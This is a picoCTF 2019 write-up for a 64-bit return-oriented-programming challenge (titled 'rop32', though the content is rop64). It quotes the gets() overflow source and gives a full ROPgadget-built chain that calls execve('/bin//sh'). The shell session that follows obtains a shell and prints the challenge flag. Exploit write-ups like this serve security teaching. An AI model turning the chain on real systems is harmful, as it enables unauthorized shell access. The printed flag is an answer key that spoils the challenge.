PicoCTF19 rop32

Challenge

Time for the classic ROP in 64-bit. Can you exploit this program to get a flag? You can find the program in /problems/rop64_1_3a135066aff0c433faf93765baaa584d on the shell server. Source.

Hints

This is a classic 64-bit OP to get a shell

Solution

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 16

void vuln() {
  char buf[16];
  printf("Can you ROP your way out of this?\n");
  return gets(buf);
}

int main(int argc, char **argv){
  setvbuf(stdout, NULL, _IONBF, 0);
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
}
[email protected]:/problems/rop64_1_3a135066aff0c433faf93765baaa584d$ ls -al
total 912
drwxr-xr-x   2 root       root         4096 Sep 28  2019 .
drwxr-x--x 684 root       root        69632 Oct 10  2019 ..
-r--r-----   1 hacksports rop64_1        48 Sep 28  2019 flag.txt
-rwxr-sr-x   1 hacksports rop64_1    844904 Sep 28  2019 vuln
-rw-rw-r--   1 hacksports hacksports    462 Sep 28  2019 vuln.c

Similarly to rop32, this program is vulnerable to a buffer overflow and I assume NX & ASLR is enabled as well:

[email protected]:/problems/rop64_1_3a135066aff0c433faf93765baaa584d$ ./vuln
Can you ROP your way out of this?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)

Let's run ROPGadget again

[email protected]:/problems/rop64_1_3a135066aff0c433faf93765baaa584d$ ROPgadget --binary ./vuln  --ropchain --badbytes 0a

Here's the rop script:

#!/usr/bin/env python2
# execve generated by ROPgadget

from struct import pack

# Padding goes here
p = 'A' *24 # <- we added 4 for 32, add 8 for 64 rough guess

p += pack('<Q', 0x00000000004100d3) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e0) # @ .data
p += pack('<Q', 0x00000000004156f4) # pop rax ; ret
p += '/bin//sh'
p += pack('<Q', 0x000000000047f561) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004100d3) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x0000000000444c50) # xor rax, rax ; ret
p += pack('<Q', 0x000000000047f561) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000400686) # pop rdi ; ret
p += pack('<Q', 0x00000000006b90e0) # @ .data
p += pack('<Q', 0x00000000004100d3) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x00000000004499b5) # pop rdx ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x0000000000444c50) # xor rax, rax ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000040123c) # syscall
print p # IMPORTANT: This is not generated by ROPGadget, add this yourself

Exploit it:

[email protected]:/problems/rop64_1_3a135066aff0c433faf93765baaa584d$ (python ~/rop.py;cat) | ./vuln
Can you ROP your way out of this?
ls
flag.txt  vuln  vuln.c
cat flag.txt
picoCTF{rOp_t0_b1n_sH_w1tH_n3w_g4dg3t5_7b18513b}

Flag

picoCTF{rOp_t0_b1n_sH_w1tH_n3w_g4dg3t5_7b18513b}